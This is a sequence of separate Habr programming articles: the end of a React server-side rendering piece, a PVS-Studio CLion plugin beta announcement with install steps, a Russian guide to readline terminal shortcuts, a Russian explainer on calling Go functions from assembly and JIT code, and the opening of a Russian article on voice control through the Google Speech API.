{/\* ^ shall return the same promise \*/ }
{/\* ^ would be rendered when a component goes "live" \*/ }
);
```
There is [another article about this technology](https://medium.com/@antonkorzunov/react-server-side-code-splitting-made-again-a61f8cbbd64b), you might read. But main here — it solves "Flash Of Unloaded Content" in another, not a common for *code splitting libraries* way. Be open for a new solutions.
### TLDR?
* don't use react-loadable, it would not add any valuable value
* React.lazy is good, but too simple, yet.
* SSR is a hard thing, and you should know it
* Hybrid puppeteer-driven rendering is a thing. Sometimes even harder thing. | https://habr.com/ru/post/444402/ | null | en | null |
# Beta-Testing of PVS-Studio Plugin for JetBrains CLion
Visual Studio from Microsoft has long been the main development environment to work with the PVS-Studio analyzer. Our analyzer started off on Windows, so Visual Studio was an obvious and reasonable choice. In more than 10 years of PVS-Studio development, the analyzer has become available for several other languages and platforms. No wonder people ask us if we can integrate PVS-Studio into their favorite IDEs.
A year ago, on June 18, 2020, we released the first version of PVS-Studio plugin for the JetBrains Rider environment. That event coincided with another milestone moment — release of PVS-Studio C# on Linux and macOS.
Today, we are pleased to announce that we start public beta-testing of a plugin for another IDE from JetBrains — CLion. We believe, Linux and C++ cross-platform users will get better experience of using our product due to this change. Based on beta-tests, we hope to release the first CLion plugin version in the upcoming PVS-Studio 7.14 release, at the end of July to early August.
Take Part in Beta-Testing of PVS-Studio for CLion
-------------------------------------------------
To fully test the plugin, you'll need to install both the beta plugin version and the C++ core beta version of the analyzer. There are several ways to install the plugin: from the official repository, from the repository on our site, or using Windows PVS-Studio installer. Below we'll tell you in detail how to do this.
After you install the plugin and the analyzer, you can register for the PVS-Studio for CLion beta-test on our [early access page](https://pvs-studio.com/en/pvs-studio-eap/). You will receive a trial analyzer key by email.
Find [here](https://pvs-studio.com/en/docs/manual/0052/) the detailed documentation how to install and work with PVS-Studio for CLion and Rider plugins. Below you'll read a brief instruction on how to install and first run PVS-Studio in CLion.
Any beta-test collects users' feedback on a new product, usability, and inevitable bugs that are always present in early versions. This beta test is no exception. If you found an error or simply want to share your experiences about the new PVS-Studio plugin, be sure to reply to the email you've received when registering to our beta-test,or contact us using the [feedback form](https://pvs-studio.com/en/about-feedback/?is_question_form_open=true).
Installation from Official Repository
-------------------------------------
Run CLion and select File->Settings->Plugins, then select the Marketplace tab, and enter 'PVS-Studio' in the search field. Next, install the PVS-Studio for CLion plugin.
How to Install the Plugin From the PVS-Studio Repository
--------------------------------------------------------
This step is similar to the previous one, but first you need to set up CLion for a new repository. To do this, go to File->Settings->Plugins, click on the "gear" icon on the right side of the window, and select Manage Plugin Repositories from the drop-down menu.
In the opened window, add the <http://files.viva64.com/java/pvsstudio-clion-plugins/updatePlugins.xml> path. Click OK.
Next, install the plugin similar to the previous step.
Installation with Windows Installer
-----------------------------------
If you use a Windows operating system, you can install the plugin and the analyzer core from the distribution. To do this, download and run the installer [from here](https://pvs-studio.com/en/pvs-studio/download-beta/). Download the ".exe" installer file in the Windows column of the table.
Installation of the C++ Analyzer Beta Version
---------------------------------------------
Besides the plugin itself, you must also install the C++ analyzer core. This way PVS-Studio will work correctly in CLion. To do this, follow this [link](https://pvs-studio.com/en/pvs-studio/download-beta/) and download a distribution for your platform. If you have installed a distribution for Windows, you can skip this step.
If you work on Linux or macOS, you can also use the following installation commands:
### For debian-based systems:
```
wget -q -O - https://files.viva64.com/beta/etc/pubkey.txt | \
sudo apt-key add -
sudo wget -O /etc/apt/sources.list.d/viva64-beta.list \
https://files.viva64.com/beta/etc/viva64.list
sudo apt-get update
sudo apt-get install pvs-studio
```
### For yum-based systems:
```
wget -O /etc/yum.repos.d/viva64-beta.repo \
https://files.viva64.com/beta/etc/viva64.repo
yum update
yum install pvs-studio
```
### For zypper-based systems:
```
wget -q -O /tmp/viva64-beta.key https://files.viva64.com/beta/etc/pubkey.txt
sudo rpm --import /tmp/viva64-beta.key
sudo zypper ar -f https://files.viva64.com/beta/rpm viva64-beta
sudo zypper update
sudo zypper install pvs-studio
```
### For macOS:
```
brew install viva64/pvs-studio/pvs-studio-beta
```
Product Registration
--------------------
After you register as a beta-tester and get a registration key, go to the Tools->PVS-Studio->Settings window to activate the license. Go to the Registration tab in the settings window.
Enter the corresponding license data in the User Name and Serial Number fields. A quick reminder — you can get the registration key here: [early access page](https://pvs-studio.com/en/pvs-studio-eap/).
First Experience with the Plugin
--------------------------------
Once installed and configured, the plugin will roughly look like the screenshot below.
The plugin allows you to analyze CMake projects opened in CLion, as well as individual selected files.
To run the analysis, click Tools->PVS-Studio->Check Project.
To analyze selected files, click Tools-> PVS-Studio -> Check Current File.
See analysis results in the PVS-Studio window:
A table that consists of columns with warning error codes, problem descriptions, positions, etc.
Right-clicking on the PVS-Studio analyzer message will open a context menu that contains additional commands for selected analyzer messages.
'Mark selected messages as False Alarms / Remove false alarm masks' marks analyzer warning as a false positive. The command adds the code that triggered a warning and a special comment.
'Exclude from analysis' adds a path or a part of the path to the list of directories excluded from the analysis. In turn, a path or a part of the path indicate the file with analyzer warning. All files that fall under this filter will be excluded from the analysis.
Double-clicking the left mouse button on the line will open a file on that very line where the analyzer warning was found.
Plugin Setup
------------
To open the plugin settings window, go to Tools->PVS-Studio->Settings. The plugin settings panel has several tabs. Let's look closer at each of them.
Settings — PVS-Studio analyzer core settings. When you hover the mouse over the name of a setting, a hint shows up describing what the setting is for.
Warnings — list of all warning types supported by the analyzer. If you untick a warning, all warnings of this type will be filtered in analyzer output table:
Excludes — contains masks for file names and paths that will be excluded from analysis.
How to Start Using Analyzer on a Large Legacy Project
-----------------------------------------------------
Numerous existing analyzer warnings on legacy code often interfere with using static analysis regularly. Such code is usually well tested and stably works. So it may not be practical to correct all existing analyzer warnings. This may take a long time especially when the code base size is large enough. Warnings for existing code mix up with the ones generated on the new one, which is still in development.
To solve this problem and start using static analysis regularly, PVS-Studio offers the ability to "disable" messages for the old code. To suppress analyzer messages for the old code, use the main menu command 'Tools -> PVS-Studio -> Suppress All Messages' or the 'Suppress All Messages' button on PVS-Studio window panel. The suppression mechanism works as follows. First, you run the 'Suppress All Messages' command. Then suppressed warnings get into special suppress files. When you start the analysis later, all messages added to such suppress files will not appear in the analyzer report. The suppression system with suppress files is quite flexible. Let's say, you changed or moved code fragments that trigger suppressed warnings. The system can still "track" such messages.
In CLion, suppressed warnings are added to suppress\_base.json. This file is written in the .PVS-Studio directory in the root directory of the project opened in CLion. To return all messages to the analyzer output, delete this file and restart the analysis.
Check out the article "[How to introduce a static code analyzer in a legacy project and not to discourage the team](https://pvs-studio.com/en/blog/posts/0743/)".
How to Save and Download Analysis Results
-----------------------------------------
To save or load the analyzer results, use the main menu commands in 'Tools -> PVS-Studio':
'Open Report' opens the .json report file and uploads its contents to the grid of the 'PVS-Studio' window.
The 'Recent Reports' submenu shows a list of the most recent report files that have been opened. If the report still exists by the path, clicking on a report file in the list will open the corresponding report. Its contents will be uploaded to the 'PVS-Studio' window.
'Save Report' saves all messages from the window (even the filtered ones) to the .json report file. If the current analysis has not yet been saved, you must specify a name and a place to save the report.
Similarly, 'Save Report As' saves all warnings from the window (even the filtered ones) to the .json report file, always offering to choose where to save the report.
Incremental Analysis
--------------------
We usually recommend running full analysis regularly, such as once a day, at night. In addition to nightly analysis, we highly recommend checking new code immediately after writing it. This way you'll get the best advantage of using the analyzer. To do this, use incremental analysis, which works as follows. A project was changed, a developer runs a build. After successful compilation only modified files will be analyzed. Modified files are the ones that have been changed since the previous analysis.
You can enable or disable incremental analysis. Choose the option Tools->PVS-Studio->Analysis after Build (Modified files only) and then Enabled or Disabled.
Conclusion
----------
By adding support for a new IDE — JetBrains CLion- we hope to make our analyzer more convenient for C++ users on all supported platforms (Windows, Linux, macOS). Although there are still many development environments with no direct PVS-Studio integration, apart from the possibility to use standard compiler warning viewing functionality, we plan to increase the number of IDEs we support directly in the future.
Based on the interest of our users, Visual Studio Code will be the most likely next candidate for such support. Please write us if you'd like our analyzer to be directly integrated into "your" IDE. Your idea may become part of our plans as well.
And as a closing note, let me remind you once again that you [can register](https://pvs-studio.com/en/pvs-studio-eap/) for the beta-testing and [write us](https://pvs-studio.com/en/about-feedback/?is_question_form_open=true) about your problems and wishes using the feedback form. | https://habr.com/ru/post/565470/ | null | en | null |
# Оттачиваем мастерство работы в консоли
После того, как у меня появился новый монитор на рабочем месте, я начал новую итерацию улучшения своего «безмышечного» (*mouse-less, прим. пер.*) опыта. Вы же знаете, что это значит, не так ли? Это значит, что каждый раз, когда вы беретесь за мышку, убирая руку с клавиатуры, вы тратите немного времени и энергии. Если вам нужно набирать много текста (а я много пишу кода), это становится существенным.
Так же существует следующий уровень «безмышечного» опыта, когда вы стараетесь избежать труднодоступных клавиш, например `Delete`, `Backspace`, `Escape` или даже `Enter`.
Если вы держите руки в стандартной позиции для 10-пальцевой слепой печати, более удобно нажать `Ctrl-m` вместо того, чтобы тянуться мизинцем к энтеру.
В этой статье я расскажу про удобные сочетания клавиши, которые можно использовать в любом терминале, хоть они работают и в многих других местах.
Для начала, сравнительная таблица:
| Название | Типичная клавиша | Удобная альтернатива |
| --- | --- | --- |
| Начало строки | `Home` | `Ctrl-a` |
| Конец строки | `End` | `Ctrl-e` |
| Один символ вперед | `Right Arrow` | `Ctrl-f` |
| Один символ назад | `Left Arrow` | `Ctrl-b` |
| Удалить символ под курсором | `Delete` | `Ctrl-d` |
| Удалить символ перед курсором | `Backspace` | `Ctrl-h` |
| Предыдущая команда в истории | `Up Arrow` | `Ctrl-p` |
| Следующая команда в истории | `Down Arrow` | `Ctrl-n` |
| Ввод команды | `Enter` | `Ctrl-j` или `Ctrl-m` |
Как бонус, вот еще список удобных сочетаний:
| Название | Сочетание клавиш |
| --- | --- |
| Вырезать предыдущее слово | `Ctrl-w` |
| Вырезать все к концу строки | `Ctrl-k` |
| Вырезать все к началу строки | `Ctrl-u` |
| Вставить вырезанное ранее | `Ctrl-y` |
| Откатить изменение | `Ctrl-_ (Ctrl+Shift+-)` |
| Очистить экран | `Ctrl-l` |
Не забудьте попробовать эти сочетания в других приложениях. Я думаю, вы удивитесь, насколько широко они поддерживаются.
### Почему это работает
Прежде всего, существует широко используемая библиотека `readline`. Попробуйте удалить ее из вашей системы, и вы узнаете, сколько приложений от нее зависят (*ЭТО БЫЛА ПЛОХАЯ ШУТКА. НЕ ДЕЛАЙТЕ ЭТО*). Из официальной [домашней страницы](http://cnswww.cns.cwru.edu/php/chet/readline/rltop.html):
> Библиотека GNU Readline предоставляет набор функций, позволяющих пользователю редактировать вводимые команды прямо в месте ввода.
Это значит, что приложение может просто использовать эту библиотеку для пользовательского ввода, и она позаботится обо всех «плюшках». Из [официальной документации](http://cnswww.cns.cwru.edu/php/chet/readline/rluserman.html#SEC3) вы можете узнать, что она поддерживает *emacs* и *vi* режимы, где первый идет по умолчанию. Vi режим более знаком виммерам, однако есть один существенный недостаток: нет индикатора текущего режима.
`readline` предоставляет большинство сочетаний, но не все. Среди них есть `Ctrl-h`, `Ctrl-m`, `Ctrl-j`. Но почему они работают? Я думаю, вам понравится ответ.
Помните ли вы таблицу [ASCII](https://en.wikipedia.org/wiki/ASCII) символов? Там еще в начале таблицы есть 32 старых ненужных управляющих символов. И если вы посмотрите на сочетание `Ctrl-m` с помощью утилиты `xev`, то увидите
```
KeyRelease event, serial 34, synthetic NO, window 0x1800001,
root 0x103, subw 0x0, time 17907461, (780,924), root:(3342,946),
state 0x4, keycode 58 (keysym 0x6d, m), same_screen YES,
" XLookupString gives 1 bytes: (0d) "
XFilterEvent returns: False
```
что `XLookupString` возвращает *0x0d* байт для этого сочетания. А *0x0d* байт это не что иное, как управляющий символ [возврата каретки](https://en.wikipedia.org/wiki/Carriage_return), так же известный как `\r`. Этот управляющий символ говорит терминалу принять вашу команду, работая так же, как и `Enter`. Так что, управляющие символы не такие уж и ненужные (ну, по крайней мере часть из них).
Другой интересный вопрос, как же система определяет связь между `Ctrl-m` сочетанием и символом возврата каретки. Ответ на это не менее интересный — [Caret notation](https://en.wikipedia.org/wiki/Caret_notation): метод записи управляющих символов с помощью печатных. Правило очень простое: просто инвентируйте седьмой бит в коде управляющего символа, и получите соответствующий печатный. С одной стороны, все просто; с другой, нельзя переназначить. Но не верьте мне, проверьте сами [здесь](https://en.wikipedia.org/wiki/ASCII#ASCII_control_code_chart).
На этом все. Я надеюсь, материал был полезный. Совершенствуйтесь!
**P.S.** Индикатор режима в `readline` все-таки присутствует, начиная с версии 6.3. Для этого нужно добавить `set show-mode-in-prompt On` в ~/.inputrc. Спасибо [xaizek](https://habrahabr.ru/users/xaizek/)
**P.S.S.**Таблицу ascii кодов можно посмотреть командой `man ascii`. Опять же, спасибо [xaizek](https://habrahabr.ru/users/xaizek/) | https://habr.com/ru/post/266933/ | null | ru | null |
# Что нужно знать, если вы хотите вызывать Go функции из ассемблера
> You've run into a really hairy area of asm code.
>
> My first suggestion is not try to call from assembler into Go. — [Ian Lance Taylor](https://groups.google.com/d/msg/golang-nuts/a6NKBbL9fX0/SuMDpME-AgAJ)
До тех пор, пока ваш ассемблерный код делает что-то простое, всё выглядит неплохо.
Как только у вас возникает задача вызвать из ассемблерного кода Go функцию, один из первых советов, который вам дадут: не делайте так.
Но что если вам это очень-очень нужно? В таком случае, прошу под кат.
Calling convention
------------------
Всё начинается с того, что нужно понять, как [передавать функции аргументы и как принимать её результаты](https://en.wikipedia.org/wiki/Calling_convention).
Рекомендую ознакомиться с [Go functions in assembly language](https://github.com/golang/go/files/447163/GoFunctionsInAssembly.pdf), где наглядно описана большая часть необходимой нам информации.
Обычно, calling convention варьируется от платформы к платформе, поскольку может различаться набор доступных регистров. Мы будем рассматривать только `GOARCH=amd64`, но в случае Go конвенции отличаются не так значительно.
Вот некоторые особенности конвенции вызова функций в Go:
* Все аргументы передаются через стек, кроме "контекста" в замыканиях, он доступен через регистр `DX` (%rdx).
* Результаты возвращаются тоже через стек (в картинке ниже они включены в arguments).
* Аргументы вызываемой функции размещаются на фрейме вызывающей стороны.
* Выделение и уничтожение фрейма выполняется вызываемой функцией. Эти действия являются частью прологов и эпилогов, которые вставляются ассемблером автоматически.
При вызове функции может происходить ситуация, когда у стека горутины недостаточно места. В этой ситуации будет произведено расширение стека.
Эта картина мира может поменяться, если произойдёт переход на [register-based calling convention](https://github.com/golang/go/issues/18597). Мы ещё вернёмся к теме эволюции конвенций вызова функций в Go.
Итак, чтобы вызвать функцию:
* Вам нужно, чтобы на фрейме текущей функции было место для аргументов вызываемой функции.
* Первый аргумент идёт в `0(SP)`, второй аргумент идёт в `8(SP)` (если размер первого аргумента равен 8 байтам), и так далее.
* Результат функции доставать из `n(SP)`, где `n` — это размер всех входных аргументов функции. Для функции с двумя аргументами `int64`, результат начинается с `16(SP)`.
Размер фрейма вы указываете при определении функции.
```
package main
func asmfunc(x int32) (int32, int32)
func gofunc(a1 int64, a2, a3 int32) (int32, int32) {
return int32(a1) + a2, int32(a1) + a3
}
func main() {
v1, v2 := asmfunc(10)
println(v1, v2) // => 3, 11
}
```
```
// func asmfunc(x int32) (int32, int32)
TEXT ·asmfunc(SB), 0, $24-12
MOVL x+0(FP), AX
MOVQ $1, 0(SP) // Первый аргумент (a1 int64)
MOVL $2, 8(SP) // Второй аргумент (a2 int32)
MOVL AX, 12(SP) // Третий аргумент (a3 int32)
CALL ·gofunc(SB)
MOVL 16(SP), AX // Забираем первый результат
MOVL 20(SP), CX // Забираем второй результат
MOVL AX, ret+8(FP) // Возвращаем первый результат
MOVL CX, ret+12(FP) // Возвращаем второй результат
RET
```
```
$24-16 (locals=24 bytes, args=16 bytes)
0 8 12 16 20 SP
locals=24 [a1:8][a2:4][a3:4][ret:4][ret:4]
(ret относится к фрейму asmfunc, хранит результаты gofunc)
0 4 8 12 FP
args=16 [x:4][padding:4][ret:4][ret:4]
(ret относится к фрейму main, хранит результаты asmfunc)
```
Обратите внимание, между входными аргументами и результатами есть 4 байта для выравнивания. Это нужно для того, чтобы результаты функции начинались с адреса, который выравнен по ширине указателя (8 байт на `amd64`).
Каждый аргумент тоже выравнивается по тем же правилам, что и поля структур. Если у функции первый параметр — `int32`, а второй — `int64`, то offset второго параметра будет 8, а не 4, поскольку `reflect.TypeOf(int64(0)).Align()` равен 8.
Некоторые ошибки, связанные с размером фрейма и использованием регистра `FP` может найти `go vet`.
Указатели и stackmap
--------------------
Попробуем теперь вызвать функцию с аргументом-указателем.
```
package foo
import (
"fmt"
"testing"
)
func foo(ptr *object)
type object struct {
x, y, z int64
}
func printPtr(ptr *object) {
fmt.Println(*ptr)
}
func TestFoo(t *testing.T) {
foo(&object{x: 11, y: 22, z: 33})
}
```
```
TEXT ·foo(SB), 0, $8-8
MOVQ ptr+0(FP), AX
MOVQ AX, 0(SP)
CALL ·printPtr(SB)
RET
```
Если мы запустим тест, то получим [панику из-за stackmap](https://groups.google.com/d/msg/golang-nuts/a6NKBbL9fX0/MzUGGqQ9AgAJ):
```
=== RUN TestFoo
runtime: frame untyped locals 0xc00008ff38+0x8
fatal error: missing stackmap
```
Для того, чтобы успешно найти указатели на стеке, GC нуждается в так называемых stackmaps. Для обычных Go функций их генерирует компилятор, но для ассемблерных функций этой информации у рантайма нет.
Для аргументов функции информацию можно передать через определение stub функции с корректными типами (функция без тела в Go файле). В [документации](https://golang.org/doc/asm) указаны случаи, когда stackmap не обязателен, но наш случай не один из них.
Здесь либо делать так, чтобы функция не требовала stackmap (сложно), либо использовать `NO_LOCAL_POINTERS` и не подорваться на нюансах (ещё сложнее).
Макрос NO\_LOCAL\_POINTERS
--------------------------
С таким ассемблерным кодом `TestFoo` будет проходить:
```
#include "funcdata.h"
TEXT ·foo(SB), 0, $8-8
NO_LOCAL_POINTERS
MOVQ ptr+0(FP), AX
MOVQ AX, 0(SP)
CALL ·printPtr(SB)
RET
```
Однако нужно понимать, чем достигнут этот прогресс.
Попробуем поразмышлять, зачем вообще сборщику мусора нужно знать про указатели на нашем стеке? Допустим, эти указатели пришли к нам извне, они "достижимы" из кода, который вызывал ассемблерную функцию, поэтому нам не страшно, если локальные указатели на нашем фрейме не будут считаться живыми, так?
Если мы вспомним, что указатели могут указывать не только на объекты в heap, то поймём, что это не всегда так. Если при вызове функции произойдёт увеличение стека, адреса стека изменятся, что инвалидирует все указатели объекты внутри него. В обычном режиме GC "чинит" все эти указатели и мы ничего не замечаем, но если у него нет информации об указателях на стеке, он этого сделать не сможет.
Здесь нам помогает то, что все указатели, передаваемые в ассемблерную функцию "утекают" (escapes to heap) в терминах escape analysis, так что для того, чтобы иметь внутри ассемблерного кода на стеке указатель на стековую память нужно постараться.
Сформулируем правило безопасного использования `NO_LOCAL_POINTERS`: данные, адресуемые указателями, лежащими внутри локальных слотов функции, должны удерживаться видимыми GC указателями. Запрещены указатели на стек.
В связи с появлением в Go [non-cooperative preemption](https://github.com/golang/proposal/blob/master/design/24543-non-cooperative-preemption.md), важным дополнением будет то, что [ассемблерные функции не прерываются](https://go-review.googlesource.com/c/go/+/202337/).
Второй кейс безопасного использования можно найти [внутри рантайма Go](https://github.com/golang/go/blob/d67d044310bc5cc1c26b60caf23a58602e9a1946/src/runtime/vlop_arm.s#L147-L158). Функции, отмеченные `go:nosplit`, не могут расширить стек, так что часть проблем, связанная с `NO_LOCAL_POINTERS` уходит сама по себе.
Макрос GO\_ARGS
---------------
Для ассемблерных функций, которые имеют Go prototype, автоматически вставляется `GO_ARGS`.
`GO_ARGS` — это макрос из того же [funcdata.h](https://golang.org/src/runtime/funcdata.h), что и `NO_LOCAL_POINTERS`. Он указывает, что для получения информации о stackmap аргументов нужно использовать Go декларацию.
Раньше это не работало в ситуации, когда [stackmap для ассемблерной функции определялся в другом пакете](https://github.com/golang/go/issues/24419). Сейчас проставлять `args_stackmap` вручную для экспортируемых символов не обязательно. Но как пример этот патч всё равно интересен: он показывает, как можно ручками добавить метаданных в stackmap.
Макрос GO\_RESULTS\_INITIALIZED
-------------------------------
Если ассемблерная функция возвращает указатель и вызывает Go функции, то требуется начать тело этой функции с зануления стековых слотов под результат (так как там может находиться мусор) и вызвать макрос `GO_RESULTS_INITIALIZED` сразу после этого.
Например:
```
// func getg() interface{}
TEXT ·getg(SB), NOSPLIT, $32-16
// Интерфейс состоит из двух указателей.
// Оба из них нужно заполнить нулями.
MOVQ $0, ret_type+0(FP)
MOVQ $0, ret_data+8(FP)
GO_RESULTS_INITIALIZED
// Дальше код самой функции...
RET
```
В целом, лучше избегать ассемблерных функций, которые возвращают типы-указатели.
Больше примеров использования можно найти на [GitHub](https://github.com/search?l=Unix+Assembly&q=GO_RESULTS_INITIALIZED&type=Code).
Вызов Go функций из JIT-кода
----------------------------
Отдельное внимание уделим вызовам Go функций из динамически сгенерированного машинного кода.
Garbage collector Go ожидает, что весь код, вызывающий функции, доступен во время компиляции, поэтому можно сказать, что [Go не очень дружит с JIT'ом](https://github.com/golang/go/issues/20123).
Для начала, воспроизведём фатальную ошибку. Листинг спрятан под спойлером, чтобы не загромождать тело статьи для тех, кто захочет пропустить этот раздел.
**calljit-v1**
---
```
// file jit.go
package main
import (
"log"
"reflect"
"syscall"
"unsafe"
)
func main() {
a := funcAddr(goFunc)
code := []byte{
// MOVQ addr(goFunc), AX
0xb8, byte(a), byte(a >> 8), byte(a >> 16), byte(a >> 24),
// CALL AX
0xff, 0xd0,
// RET
0xc3,
}
executable, err := mmapExecutable(len(code))
if err != nil {
log.Panicf("mmap: %v", err)
}
copy(executable, code)
calljit(&executable[0])
}
func calljit(code *byte)
func goFunc() {
println("called from JIT")
}
func mmapExecutable(length int) ([]byte, error) {
const prot = syscall.PROT_READ | syscall.PROT_WRITE | syscall.PROT_EXEC
const flags = syscall.MAP_PRIVATE | syscall.MAP_ANON
return mmapLinux(0, uintptr(length), prot, flags, 0, 0)
}
func mmapLinux(addr, length, prot, flags, fd, off uintptr) ([]byte, error) {
ptr, _, err := syscall.Syscall6(
syscall.SYS_MMAP,
addr, length, prot, flags, fd, offset)
if err != 0 {
return nil, err
}
slice := *(*[]byte)(unsafe.Pointer(&reflect.SliceHeader{
Data: ptr,
Len: int(length),
Cap: int(length),
}))
return slice, nil
}
func funcAddr(fn interface{}) uintptr {
type emptyInterface struct {
typ uintptr
value *uintptr
}
e := (*emptyInterface)(unsafe.Pointer(&fn))
return *e.value
}
```
```
// file jit_amd64.s
TEXT ·calljit(SB), 0, $0-8
MOVQ code+0(FP), AX
JMP AX
```
---
Если мы соберём и запустим этот код, то всё будет выглядеть хорошо (хотя вам может не повезти):
```
$ go build -o jit . && ./jit
called from JIT
```
А теперь внесём небольшие изменения в функцию `goFunc`, которая вызывается из JIT-кода:
```
func goFunc() {
println("called from JIT")
+ runtime.GC()
}
```
Повторный запуск уже более надёжно падает с паникой:
```
$ go build -o jit . && ./jit
called from JIT
runtime: unexpected return pc for main.goFunc called from 0x7f9465f7c007
stack: frame={sp:0xc00008ced0, fp:0xc00008cef0} stack=[0xc00008c000,0xc00008d000)
000000c00008cdd0: 0000000000000000 00007f94681f7558
000000c00008cde0: 000000c000029270 000000000000000b
... (+ more)
```
Читаем: `unexpected return pc for main.goFunc called from 0x7f9465f7c007`, где `0x7f9465f7c007` — это адрес внутри нашего JIT-кода. Паника сообщает, что подобный вызов очень расстраивает runtime.
Гипотетически, эту проблему можно поправить, поправив значение `FP` и релевантных за хранение `BP` и return address локаций, но есть и другой способ.
Если Go runtime не хочет, чтобы мы вызывали функции из JIT-кода, мы будем вызывать их из других, разрешённых мест.
Перепишем `calljit` так, чтобы во второй его половине выполнялся код, ответственный за вызов Go функций. Каждый раз, когда нам нужно будет вызвать Go функцию, мы будем прыгать в этот участок кода, который находится в рамках известной Go функции (`calljit`).
```
#include "funcdata.h"
TEXT ·calljit(SB), 0, $8-8
NO_LOCAL_POINTERS
MOVQ code+0(FP), AX
JMP AX
callgo:
CALL CX
JMP (SP)
```
Изменения:
* Нам понадобится хотя бы 8 байт фрейма, чтобы записать туда return address для JIT кода.
* `NO_LOCAL_POINTERS` нужен из-за того, что мы имеем ненулевой фрейм и делаем `CALL`.
Обычный путь `calljit` не изменился, происходит безусловный прыжок на машинный код, но добавилась вторая точка входа, специально для вызова Go функций. Мы ожидаем, что вызывающая сторона положит в регистр `CX` адрес вызываемой функции, а в `[rsp]` — адрес, куда надо вернуться после вызова.
Единственная сложность этого подхода в том, что нам нужно знать точный адрес метки `callgo`. Я подсмотрел через дизассемблер смещение этой метки, а потом захардкодил его в коде. Вот наш новый `main()`:
```
a := funcAddr(goFunc)
j := funcAddr(calljit) + 36
code := []byte{
// MOVQ funcAddr(goFunc), CX
0x48, 0xc7, 0xc1, byte(a), byte(a >> 8), byte(a >> 16), byte(a >> 24),
// MOVQ funcAddr(calljit), DI
0x48, 0xc7, 0xc7, byte(j), byte(j >> 8), byte(j >> 16), byte(j >> 24),
// LEAQ 6(PC), SI
0x48, 0x8d, 0x35, (4 + 2), 0, 0, 0,
// MOVQ SI, (SP)
0x48, 0x89, 0x34, 0x24,
// JMP DI
0xff, 0xe7,
// ADDQ $framesize, SP
0x48, 0x83, 0xc4, (8 + 8),
// RET
0xc3,
}
```
Адрес вызываемой функции кладётся в `CX`, адрес `callgo` в `DI`, а в `SI` мы перемещаем позицию для возврата, затем записываем её в `[rsp]`. `4+2` — это сложение длин следующих за `LEAQ` двух инструкций.
Поскольку функция теперь имеет фрейм, нам нужно его чистить перед возвратом, поэтому выполняется `ADDQ`. 8 байтов под наш локальный слот плюс ещё 8 байтов на хранение регистра `BP`.
Вот так выглядит иллюстрация фрейма `calljit`:
```
здесь мы храним return address для callgo
|
| Go сохраняет значение предыдущего BP по этому адресу
| |
0(SP) 8(SP) 16(SP) 24(SP)
[empty] [prevBP] [retaddr] [arg1:code]
| / | |
| / | аргумент функции calljit (caller frame)
| / |
| / пушится инструкцией CALL при вызове calljit
| /
calljit frame, 16 bytes
```
Теперь нам не страшен `runtime.GC()`:
```
$ go build -o jit . && ./jit
called from JIT
```
Это решение можно адаптировать для вызова Go функций с ненулевым количеством аргументов. Всё, что вам потребуется — это побольше места на фрейме, чтобы разместить там ещё и аргументы вызываемой функции вместе с её результатом.
Предложенное решение не обязательно самое оптимальное, но оно демонстрирует, что преодолеть описанную проблему возможно. По крайней мере в текущих версиях Go.
Go Internal ABI
---------------
[Go Internal ABI](https://github.com/golang/proposal/blob/master/design/27539-internal-abi.md) — горячая тема в очень узких кругах.
Команда Go хочет иметь возможность менять такие детали, как конвенции вызова и правила взаимодействия с рантаймом, но эти изменения ломают существующий ассемблерный код. Предлагается ввести множественные ABI, часть из которых может использоваться публично, а как минимум одна будет приватной для компилятора и она же будет изменяться со временем.
Два ключевых ограничения:
1. Существующий ассемблерный код будет продолжать работать.
2. Эта поддержка обратной совместимости не будет прекращена в будущем.
Предыдущий calling convention теперь относится к `ABI0`, а экспериментальный новый к `ABIInternal`.
Если мы запустим компиляцию Go с флагом `-S`, то увидим, что `ABIInternal` уже существует, просто он не отличается на данный момент от `ABI0`:
Когда `ABIInternal` будет достаточно хорош, его переименуют в `ABI1`, сделав стабильным. `ABIInternal` же продолжит свой путь к идеальному calling convention и другим низкоуровневым радостям.
Хорошей новостью для нас является то, что в обозримом будущем существующий ассемблерный код продолжит работать корректно.
На этой оптимистической ноте, я хотел бы закончить эту небольшую заметку о вызове Go функций из ассемблерного кода. Если у вас есть дополнения, буду рад расширить материал.
Полезные материалы
------------------
* [Go functions in assembly language](https://github.com/golang/go/files/447163/GoFunctionsInAssembly.pdf)
* [Go internal ABI](https://github.com/golang/proposal/blob/master/design/27539-internal-abi.md)
* [Stack frame layout on x86-64](https://eli.thegreenplace.net/2011/09/06/stack-frame-layout-on-x86-64)
* [NO\_LOCAL\_POINTERS и адреса на стек](https://groups.google.com/d/msg/golang-nuts/SxWxUG0uezY/YWXLSuesBQAJ)
* [Go assembly language complementary reference](https://quasilyte.dev/blog/post/go-asm-complementary-reference/)
* [ELFийские трюки в Go](https://habr.com/ru/post/482392/)
* [Библиотека amd64, которая умеет генерировать машинный код](https://github.com/modern-go/amd64)
Hub-опрос
---------
Мне всегда любопытно, не промахнулся ли я с хабами для публикации. Если вам не сложно, ознакомьтесь, пожалуйста, с опросом. Это может помочь найти потенциальные ошибки в подборе целевой аудитории для текущей статьи. | https://habr.com/ru/post/489482/ | null | ru | null |
# Использование Google Speech API для управления компьютером
Добрый день всем хабражителям.
На хабре уже писалось [несколько статей](http://habrahabr.ru/post/117234/) о использовании Google Speech API, в том числе [о его применении при создании Умного дома](http://habrahabr.ru/blogs/hardware/129936/).
В этой статье я хочу рассказать как можно написать небольшую программку для голосового управления компьютером.
Кому интересно, прошу под кат.
Для разработки я использую Embarcadero RAD Studio XE и несколько бесплатных вспомогательных компонентов (JEDI Core, JEDI VCL, New Audio Components for Delphi, Synapse, uJSON, CoolTrayIcon)
В статье [«Используем Google Voice Search в своем приложении .NET»](http://habrahabr.ru/post/117234/) было описано как работает Google Speech API и какие есть тонкости.
Опишу алгоритм моей программы и некоторые нюансы использования вспомогательных компонентов.
**1. Запись звука в формате FLAC**
Для этого я использую компонент New Audio Components for Delphi. Звук записываем в формат FLAC с частотой 8 кГц и сохраняем в файл.
За запись отвечает VCL компонент DXAudioIn1, в нем же прописаны настройки записи (1 канал и частота 8 кГц)
Далее данные с DXAudioIn1 идут на FastGainIndicator1 у которого на OnGainData стоит обработка уровней, если уровень упал N раз ниже установленного (красный указатель), то происходит остановка записи и отправка данных в Google.
Так же я сделал возможность начать автоматическую запись при превышении уровня на какой-то порог M раз (синий указатель).
Конечно такой алгоритм не сильно надежен, но он избавляет от необходимости нажимать кнопки начала записи и остановки. При соответствующих настройках уровней и количества срабатываний программа отлавливает факт наличия полезной составляющей с микрофона.
